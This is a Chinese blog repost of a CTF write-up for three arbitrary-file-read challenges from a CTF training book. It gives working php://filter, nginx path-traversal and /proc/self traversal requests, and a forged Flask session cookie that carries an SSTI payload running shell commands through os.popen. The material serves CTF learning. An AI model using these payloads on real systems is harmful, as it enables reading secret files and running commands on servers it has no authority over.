《从0到1:CTFer成长之路》书籍配套题目-[第一章 web入门]任意文件读取漏洞

导读:本篇文章讲解 《从0到1:CTFer成长之路》书籍配套题目-[第一章 web入门]任意文件读取漏洞,希望对大家有帮助,欢迎收藏,转发!站点地址:www.bmabk.com


介绍:记录一下笔记,方便以后迅速回忆使用。

《从0到1:CTFer成长之路》书籍配套题目,来源网站:《从0到1:CTFer成长之路》

任意文件读取漏洞-1

一、信息收集

  • 1.首页
    在这里插入图片描述

二、实施操作

1.解题过程

  • 答案
http://9c0f88fc-bc80-4c85-a9c9-bdcc15c87141.node3.buuoj.cn/?p=php://filter/convert.base64-encode/resource=flag
  • 回显
PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9
  • base64解密下就得到flagn1book{afr_1_solved}
<?php
die('no no no');
//n1book{afr_1_solved}

在这里插入图片描述

2.解释

http://IP:PORT/?p=php://filter/convert.base64-encode/resource=flag
  • 即以base64加密的方式读取resource的内容

谈一谈php://filter的妙用

  • 为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里就会用到php://filter。

  • php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流

任意文件读取漏洞-2

一、信息收集

  • 首页
    在这里插入图片描述
  • 报错
    在这里插入图片描述
nginx/1.14.0 (Ubuntu)
  • 漏洞很可能就是nginx错误配置

二、实施操作

1.解题过程

访问 http://IP:PORT/img../

在这里插入图片描述– 将flag文件下载
在这里插入图片描述

  • 得到flagn1book{afr_2_solved}
n1book{afr_2_solved}

任意文件读取漏洞-3

一、信息收集

  • 首页

在这里插入图片描述

  • 得到目录信息
    在这里插入图片描述

二、实施操作

微信公众号:Nu1L-Team
《从0到1:CTFer成长之路》书籍配套题目,来源网站:《从0到1:CTFer成长之路》

  • 下面是官方的破解教程+自己的梳理和理解。
  • 本题考查对linux系统中/proc/目录下文件作用的了解,同时考查了flask模板注入
    从零学习flask模板注入(SSTI)

1.解题过程

  • 请求 http://IP:PORT/article?name=../../../../../proc/self/cmdline获取当前执行系统命令,得到:
    在这里插入图片描述
python server.py
  • 请求 http://IP:PORT/article?name=../../../../../proc/self/cwd/server.py获取源码
    在这里插入图片描述

  • 审计源码

  • 发现flag在flag.py,flask的appkey在key.py,但是此处任意文件读取漏洞被过滤了关键词flag

  • 源码里存在flask SSTI,前提是可以伪造flask的cookie,这里需要用到appkey

@app.route("/n1page", methods=["GET", "POST"])
def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
    if "n1code" not in session or session['n1code'] is None:
        session['n1code'] = n1code
    template = None
    if session['n1code'] is not None:
     '''
     这里存在SSTI
     '''
        template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
        session['n1code'] = None
    return render_template_string(template)
  • 所以请求 http://IP:PORT/article?name=../../../../../proc/self/cwd/key.py获取appkey
    在这里插入图片描述
Article Content:

#!/usr/bin/python 
key = 'Drmhze6EPcv0fN_81Bj-nA'
  • 这里用到了flask_session_cookie_manager3.py
python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"

在这里插入图片描述

  • 我们得到了
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YDW8EA.tAWq1MPpK7_nlxOKHsswPcr4BGo

伪造cookie为SSTI的payload获取flag.

  • 一开始我理解错了。错误形式是这样的。
"""错误"""
../article?name={{%27%27.__class__.__mro__[2].__subclasses__()[40](%27flag.py%27).read()}}
  • 这样发送的请求是get请求,没有cookie,我一直无法伪造cookie。

  • 这时候需要回到首页,输入内容,发送post的请求,现在有cookie直接伪造。

  • 这是BurpSuite抓的原包。

POST /n1page HTTP/1.1
Host: a1d2c758-9d32-401b-8780-39b7eaaef6ae.node3.buuoj.cn
Content-Length: 13
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://a1d2c758-9d32-401b-8780-39b7eaaef6ae.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://a1d2c758-9d32-401b-8780-39b7eaaef6ae.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJuMWNvZGUiOm51bGx9.YDXAEQ.T8nAFx24uE3Pg2GmdSEHhcFxb3E
Connection: close

n1code=ghjhgj
  • 伪造后(修改session)
POST /n1page HTTP/1.1
Host: a1d2c758-9d32-401b-8780-39b7eaaef6ae.node3.buuoj.cn
Content-Length: 13
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://a1d2c758-9d32-401b-8780-39b7eaaef6ae.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://a1d2c758-9d32-401b-8780-39b7eaaef6ae.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YDW8EA.tAWq1MPpK7_nlxOKHsswPcr4BGo
Connection: close

n1code=ghjhgj
  • 发送得到回显。
    在这里插入图片描述
  • flag
n1book{afr_3_solved}

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92732.html

(0)
小半的头像小半

相关推荐

极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!